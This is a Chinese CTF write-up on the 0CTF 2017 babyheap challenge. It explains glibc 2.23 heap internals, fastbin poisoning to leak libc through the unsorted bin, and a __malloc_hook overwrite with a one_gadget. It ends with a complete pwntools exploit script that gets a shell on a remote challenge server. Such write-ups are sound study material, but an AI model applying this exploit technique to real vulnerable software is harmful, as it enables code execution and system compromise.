0%

【Pwn#0x08】0CTF 2017 babyheap

放寒假了,于是我把ptmalloc2机制又重新学习了一遍,开始做点简单的堆利用题了!本题一半抄一半自己摸,也算是基本搞懂了,这里放一个笔记。

基础信息:
ubuntu16(glibc2.23),菜单题,64 位,保护全开。
提供 alloc、 free、dump、fill 功能,同时允许分配 16 个区块。

漏洞:
fill 功能可以向区块写入任意长度信息,也就是堆溢出。

由于保护全开,于是 pwn 的目标便是:

  1. 泄露 libc 地址
  2. 修改__malloc_hook 为 libc 中的 one gadget

泄露 libc 地址

ubuntu16 下没有 tcache 机制,因此只有 fast bins 和 3 个普通的 bins。其中,fast bins 以单链表形式维护,非循环链表,因此无法泄露 main_arena 的 malloc_struct 地址。而普通 bins 都是循环链表,large bins 比较复杂,但 unsorted bins 和 small bins 中的 chunk 都会有指向 arena 的指针。

我们需要泄露这个指针,就需要想办法构造 UAF 或者 overlap。如果构造 UAF 的话,就需要使两个指针同时指向一个区块,然后 free 其中一个,这可以通过 poisoning the fastbin 做到(修改 fastbin 链表为某个特定区块,然后就可以把这个区块分配出来)。

1
2
3
4
5
6
7
# --- leak libc base ---
alloc(0x10) # 0
alloc(0x10) # 1
alloc(0x10) # 2
alloc(0x10) # 3
alloc(0xb0) # 4 unsorted bin & small bin
alloc(0x10) # 5 placeholder

为了给 fastbin 下毒,我们需要链表中有两个区块,然后利用堆溢出修改其 fd 指针到想要的区块。因此首先就分配 4 个区块,编号 0 的区块用来溢出区块 1 的信息,编号 3 的区块用来防止合并,编号 1 和 2 待会会被释放,且顺序为先 2 后 1,理由是这样 1 区块就会因为前插法位于链表的头部,这样就方便用编号 0 的区块来溢出它,但实际上由于溢出大小无限制,想怎么溢出都可以。
此外,我们还需要一个会被扔到 unsorted bin 的区块,fastbin 在 64 位下允许最大的大小是 0xb0(包括 chunk 头),所以我们这里就申请一块 0xb0 大小的空间(对应 chunk 大小 0xc0)。我们待会要释放它,为了防止它和 top chunk 合并触发 consolidation,我们再分配一个区块用来占位。

1
2
3
4
5
6
free(2)
free(1)
# change 1's fd to chunk 4
fill(0, b'a'*0x10+pack(0)+pack(0x21)+b'\x80')
# change 4's size to 0x20 (fastbin check)
fill(3, b'a'*0x10+pack(0)+pack(0x21))

然后我们将区块 1 和 2 释放,他们会被放到 fastbin 的一个链表中。
我们从区块 0 开始溢出区块 1 的 fd 指针,将其最低 bit 修改为 0x80。这里利用了虚拟页大小为 0x1000 的特性,区块的后 12bits 不变,因此 0x80 处就是区块 4。
我们还需要将区块 4 的大小改为 0x21,这是为了通过 fastbin 分配区块的检查。

1
2
alloc(0x10)     # 1
alloc(0x10) # 2

然后我们此时分配两个区块,程序会顺位编号(类似 fd 的分配),所以分配得到的区块会被编号为 1 和 2。此时,区块 2 就是区块 4!我们已经做到了让两个指针同时指向一个区块。

1
2
3
4
5
6
7
# change 4's size to 0xc0 (free check)
fill(3, b'a'*0x10+pack(0)+pack(0xc1))
free(4)
dump(2)

io.recvuntil(b"Content: ")
libc_base = unpack(io.recvuntil(b"Exit")[1:7].ljust(8, b'\x00')) - 0x3c4b78

接下来我们 free 其中一个指针。为了通过 free 的检查,我们再用溢出将其大小改回其真实大小 0xc1。(具体来说,如果不改的话,该 chunk 属于 fastbin,free 会检查该 chunk 物理高位的下一个区块的大小是否正常,然后会惊喜地读到一个 0,并报错。)
在将其释放之后,它不属于 fastbin 且没有可以合并的区块,于是被放进了 unsorted bin。这时我们就可以 dump 区块 2 来查看 unsorted bin 的地址了(实际上是 bins 的地址,因为 unsorted bin 作为一个 malloc_chunk,其位置是 &bin[0],其 fd 字段位置才是 &bin[2])。

覆写 __malloc_hook

为了覆写__malloc_hook(地址已知),我们需要寻找其附近的现存 fake chunk。我觉得这应该有工具可以做到,我只找到了 pwndbg 提供的 find_fake_fast 指令,但我这次没有成功,它给我报错(呜呜呜)。
然后询问了学长,得知一般是 &__malloc_hook 减去 0x23 或 0x33 之类的位置,因为 0x7f 是一个合法的 size(我猜是因为有了 IS_MMAPED bit,别的 bit 都会作废)。使用 pwndbg 的 malloc_chunk 指令查看这两处,发现 size 字段确实是 0x7f。

那么接下来就很简单了,我们分配两个大小为 0x70 的 chunk,把它们释放进 fastbins,然后堆溢出把 fd 改成 fake chunk 的地址(和上面流程一样)。

最后用 fill 把 __malloc_hook 改了,再随便 alloc 一下,成功用 one gadget 拿到 shell!

完整 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
#!/usr/bin/python3
from pwn import *
from LibcSearcher import *
context.arch = 'amd64'
# context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

filename = "./pwn"
io = process([filename])
io = remote("node4.buuoj.cn", 29425)
elf = ELF(filename)

# g = gdb.attach(io, """
# set debug-file-directory ~/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/.debug/
# """)

libc_name = "libc/16_64.so"
libc = ELF(libc_name)


def alloc(size):
io.recvuntil(b"Command: ")
io.sendline(b"1")
io.recvuntil(b"Size: ")
io.sendline(str(size).encode("ascii"))


def fill(index, payload):
io.recvuntil(b"Command: ")
io.sendline(b"2")
io.recvuntil(b"Index: ")
io.sendline(str(index).encode("ascii"))
io.recvuntil(b"Size: ")
io.sendline(str(len(payload)).encode("ascii"))
io.recvuntil(b"Content: ")
io.send(payload)


def free(index):
io.recvuntil(b"Command: ")
io.sendline(b"3")
io.recvuntil(b"Index: ")
io.sendline(str(index).encode("ascii"))


def dump(index):
io.recvuntil(b"Command: ")
io.sendline(b"4")
io.recvuntil(b"Index: ")
io.sendline(str(index).encode("ascii"))


# --- leak libc base ---
alloc(0x10) # 0
alloc(0x10) # 1
alloc(0x10) # 2
alloc(0x10) # 3
alloc(0xb0) # 4 unsorted bin & small bin
alloc(0x10) # 5 placeholder

free(2)
free(1)
fill(0, b'a'*0x10+pack(0)+pack(0x21)+b'\x80')

# change 4's size to 0x20 (fastbin check)
fill(3, b'a'*0x10+pack(0)+pack(0x21))
alloc(0x10) # 1
alloc(0x10) # 2
# change 4's size to 0xc0 (free check)
fill(3, b'a'*0x10+pack(0)+pack(0xc1))
free(4)
dump(2)

io.recvuntil(b"Content: ")
libc_base = unpack(io.recvuntil(b"Exit")[1:7].ljust(8, b'\x00')) - 0x3c4b78

# --- overwrite __malloc_hook ---

one_gadget = libc_base + 0x4526a
fake_chunk = libc_base + libc.symbols["__malloc_hook"] - 0x23

alloc(0xb0) # 4
alloc(0x60) # 6
alloc(0x60) # 7
alloc(0x10) # 8

free(7)
free(6)
fill(5, b'a'*0x10+pack(0)+pack(0x71)+pack(fake_chunk))
alloc(0x60) # 6
alloc(0x60) # 7
fill(7, b'a'*0x13 + pack(one_gadget))

alloc(0x66)
io.interactive()